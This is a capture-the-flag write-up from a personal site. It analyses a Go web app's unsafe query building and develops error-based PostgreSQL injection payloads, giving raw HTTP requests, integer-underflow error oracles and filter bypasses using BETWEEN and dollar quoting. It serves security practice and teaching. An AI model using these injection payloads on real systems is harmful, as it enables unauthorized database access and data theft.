siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Telepathy

Table of Contents

Overview

Background

WIP telepathy webpage

Note: the additional flag format for this problem is cuhk24ctf{[\w\x2d\x5c]+}

chal.24.cuhkctf.org:24021

Enumeration

Index page:

In here, we can submit an item name. Let’s try it:

Burp Suite HTTP history:

When we clicked the “Submit!” button, it’ll send a POST request to /query with POST parameter value.

Hmm… The server only responds to us with “WIP”.

There’s not much we can do in here. Let’s view this web application’s source code!

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/CUHK-CTF-2024/Web-Exploitation/Telepathy)-[2024.10.15|14:02:20(HKT)]
└> file 21_telepathy_d546e662acc5c34b63cf0efd60940263.zip 
21_telepathy_d546e662acc5c34b63cf0efd60940263.zip: Zip archive data, at least v2.0 to extract, compression method=store
┌[siunam♥Mercury]-(~/ctf/CUHK-CTF-2024/Web-Exploitation/Telepathy)-[2024.10.15|14:02:22(HKT)]
└> unzip 21_telepathy_d546e662acc5c34b63cf0efd60940263.zip 
Archive:  21_telepathy_d546e662acc5c34b63cf0efd60940263.zip
   creating: static/
  inflating: items.json              
  inflating: go.mod                  
  inflating: main.go                 
  inflating: .gitignore              
  inflating: Dockerfile              
  inflating: go.sum                  
  inflating: entrypoint.sh           
  inflating: flag.txt                
  inflating: docker-compose.yml      
  inflating: static/index.html       

After reading the source code a little bit, we have the following findings:

  1. The web application is written in Golang
  2. It uses DBMS (Database Management System) called PostgreSQL
  3. The main logic of this web application is main.go

Now let’s dive into main.go!

First off, what’s our objective in this challenge? Where’s the flag?

In function initDB, we can see that the flag is inserted into table items:

func main() {
    go initDB()
    [...]

// initialise the database
func initDB() {
    [...]
    flagFile, err := os.Open("flag.txt")
    [...]
    flag, _ := io.ReadAll(flagFile)
    [...]
    connStr := fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s sslmode=disable", "telepathy-db", 5432, postgresUser, postgresPassword, dbName)
    rootDB, err := sql.Open("postgres", connStr)
    [...]
    if count == 0 {
        flagInsertStmt := fmt.Sprintf(`INSERT INTO items (name, description) VALUES ('Flagmon', 'Flagmon stores a flag called %s')`, string(flag))
        _, err = rootDB.Exec(flagInsertStmt)
        [...]
    }

With that said, our goal should be somehow read the flag in table items, such as via SQL injection.

In route /query, we can see that the SQL statement is vulnerable to SQL injection. However, there are some sanitization. Can bypass those defenses?

func main() {
    [...]
    mux.HandleFunc("/query", limit(postQuery))
    [...]
}

First, it searches our value parameter’s value with 2 regular expression (A.K.A Regex) patterns.

If our value matches one of those regex patterns, the route returns HTTP status “418 I’m a teapot” and response body data “WIP”:

// constant variables
var (
    [...]
    bannedCharacters = `[^a-zA-Z0-9{\\'"_\-$ }]`
    bannedWords      = `(?i)like|similar +to`
)
[...]
func postQuery(w http.ResponseWriter, r *http.Request) {
    if r.Method == http.MethodPost {
        r.ParseForm()
        value := r.Form.Get("value")
        
        re := regexp.MustCompile(bannedCharacters)
        re2 := regexp.MustCompile(bannedWords)
        if re.MatchString(value) || re2.MatchString(value) {
            w.WriteHeader(http.StatusTeapot)
            fmt.Fprintln(w, "WIP")
            return
        }
        [...]
    }
}

If our value doesn’t match to those regex patterns, it’ll try to escape all single quote characters (') by using a backslash character (\). After that, it’ll concatenate our value parameter to the following SQL query:

SELECT * FROM items WHERE name = E'<value_parameter>'
func postQuery(w http.ResponseWriter, r *http.Request) {
    if r.Method == http.MethodPost {
        [...]
        value = strings.ReplaceAll(value, `'`, `\'`)

        db := getReadonlyDB()
        preparedStmt := fmt.Sprintf(`SELECT * FROM items WHERE name = E'%s'`, value)
        _, err := db.Exec(preparedStmt)
        [...]
    }
}

In here, it’s worth noting that the above prepared statement is used incorrectly. According to Golang SQL documentation, the Exec() method’s first argument is the query, and the second argument is the placeholder. The correct usage should be like this:

db.Exec("SELECT * FROM items WHERE name = E'%s'", value)

Finally, if the executed SQL query returned an error, the response will contain the SQL error. Otherwise, it will be the string “WIP”:

func postQuery(w http.ResponseWriter, r *http.Request) {
    if r.Method == http.MethodPost {
        [...]
        _, err := db.Exec(preparedStmt)

        if err != nil {
            w.WriteHeader(http.StatusBadRequest)
            fmt.Fprintln(w, err)
            return
        }

        // TODO: return YES/NO (tomorrow do, it's 5am already for me...)
        fmt.Fprintln(w, "WIP")
        return
    }
}

With that in mind, it’s clear that this route is vulnerable to SQL injection due to the incorrect usage of prepared statement.

Let’s try to read the flag record!

First off, we’ll need to escape single quote character. To do so, we can inject a single quote character and using -- to comment out the rest of the syntax:

POST /query HTTP/1.1
Host: chal.24.cuhkctf.org:24021
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

value='--

Complete SQL query:

SELECT * FROM items WHERE name = E''--'

Oh, wait. Don’t forget about the escape character (\). So the complete SQL query should be like this:

SELECT * FROM items WHERE name = E'\'--'

To bypass the escape character, we can just escape the escape character!

POST /query HTTP/1.1
Host: chal.24.cuhkctf.org:24021
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

value=\'--

Complete SQL query:

SELECT * FROM items WHERE name = E'\\'--'

Now you might be asking: Should we use \\' OR 1=1-- to read the flag record?

Well, of course it’s not that easy. Remember the first regex pattern? It doesn’t allow us to use the = character. Plus, after the SQL query being successfully executed, the response will only contain the string “WIP”.

Hmm… So this SQL injection is blind-based or time-based? Nope. We can’t use character ( and ), which means we can’t use PostgreSQL functions like substr, pg_sleep, and other functions.

However, there is one oracle that we can leverage of. The error message:

func postQuery(w http.ResponseWriter, r *http.Request) {
    if r.Method == http.MethodPost {
        [...]
        _, err := db.Exec(preparedStmt)

        if err != nil {
            w.WriteHeader(http.StatusBadRequest)
            fmt.Fprintln(w, err)
            return
        }
        [...]
    }
}

Note: Oracle means an information that we can determine something happened.

Consider the following situations:

  1. If the response contains an error message, we know the information that we’re leaking is correct
  2. If the response is string “WIP”, we know the information that we’re leaking is NOT correct

Or vice versa:

  1. If the response contains an error message, we know the information that we’re leaking is NOT correct
  2. If the response is string “WIP”, we know the information that we’re leaking is correct

Sounds great! But how??

Let’s first figure out how to create an error.

For very obvious reason, we can’t just cause a syntax error and call it a day. This is because we don’t have any condition in order to leak the flag record.

Hmm… In the first regex pattern, we’re allowed to use the minus character (-).

Minus character… So maybe we can do basic arithmetic operations, like 456 - 123?

Huh, integer underflow? Maybe we could cause an error via integer underflow.

Note: If the plus character (+) is allowed, we can also do integer overflow.

Let’s try this. According to PostgreSQL numeric types documentation, integer range is from -2147483648 to +2147483647.

So, what if we try to perform the following arithmetic operation, in which integer underflow will occur:

POST /query HTTP/1.1
Host: chal.24.cuhkctf.org:24021
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

value=\'+LIMIT+-2147483648+-+1--

Complete SQL query:

SELECT * FROM items WHERE name = E'\\' LIMIT -2147483648 - 1--'

Note: The LIMIT clause is to make the syntax valid.

Aye! It worked! As expected, the response now contains error message “integer out of range”, because leveraged the integer underflow!

Now, how about the leaking condition?

So far, the only way I can come up with is to chain with the AND, OR operator, CASE, WHEN, THEN, ELSE, END clauses to leak the flag record.

Consider this:

SELECT * FROM items WHERE name = E'\\' OR <flag_brute_force_condition> AND <integer_underflow_condition>--'

In here, we have 2 conditions:

  1. If the brute forced flag string doesn’t match, the integer underflow condition will NOT get executed, which means no error.
  2. If the brute forced flag string matches, the integer underflow condition will get executed, which means error will occur.

Hmm… What exactly is our flag brute force condition then?

Something like this?

SELECT * FROM items WHERE name = E'\\' OR description = '<flag_characters_here>' AND <integer_underflow_condition>--'

Nope, we’ll need to brute force the entire flag string.

How about this?

SELECT * FROM items WHERE name = E'\\' OR description LIKE '<flag_characters_here>%' AND <integer_underflow_condition>--'

Oh, wait… We can’t use keywords LIKE and SIMILAR TO because of the second regex pattern…

Upon researching, we can actually use the BEWTEEN operator to bypass the second regex pattern:

SELECT * FROM items WHERE name = E'\\' OR description BETWEEN 'a' AND 'c'--

In here, the record will contains records that column description are start with from “a” to “c”. With this example, we can basically replace the LIKE or SIMILAR TO keywords with BETWEEN.

Ok… I think we can construct our final payload… Well, not yet.

How about the single quote character (')? Since it’ll be escaped with a backslash character (\), the escape character will make it as an invalid syntax:

SELECT * FROM items WHERE name = E'\\' OR description BETWEEN \'a\' AND \'c\'--

This time, we can’t use escape the escape character, because it’ll also cause an invalid syntax:

SELECT * FROM items WHERE name = E'\\' OR description BETWEEN \\'a\\' AND \\'c\\'--

Uhh… Can we just use double quote character (")?

Nope. In PostgreSQL, double quote characters are used to mark delimited identifiers, such as table name, column name, and more.

Fortunally for us, PostgreSQL has something called “Dollar-quoted string constants”. Therefore, we can use dollar-quoted string without using single quote characters.

Ok, so the final payload is like this?

SELECT * FROM items WHERE name = E'\\' OR description BETWEEN $$a$$ AND $$c$$ AND -2147483648 - 1--

Ah, the integer underflow condition. In the above payload, that condition will cause an invalid syntax. To fix this, we can just use the BETWEEN operator:

SELECT * FROM items WHERE name = E'\\' OR description BETWEEN $$a$$ AND $$c$$ AND -2147483648 - 1 BETWEEN NULL AND NULL--

Note: The NULL is to make the BETWEEN operator’s syntax valid, it could be anything.

Anymore? Oh, wait. The description BETWEEN doesn’t work in here. If the description string is foo, we can’t just use this:

BETWEEN $$f$$ AND $$f$$

This is because the rest of the string didn’t get matched.

To solve this, we need to append a character range. Since the BETWEEN operator on text values are in alphabetical order, we can do like this:

BETWEEN $$f $$ AND $$fz$$

By doing so, it’ll match the range of the rest of the string.

Unfortunately, I couldn’t leak the flag due to the weird order of the character range. Plus, how can we determine the character is upper-case or lower-case? I guess I have to leave the readers to figure those unanswered questions :)

Conclusion

What we’ve learned:

  1. PostgreSQL SQL injection and filter bypass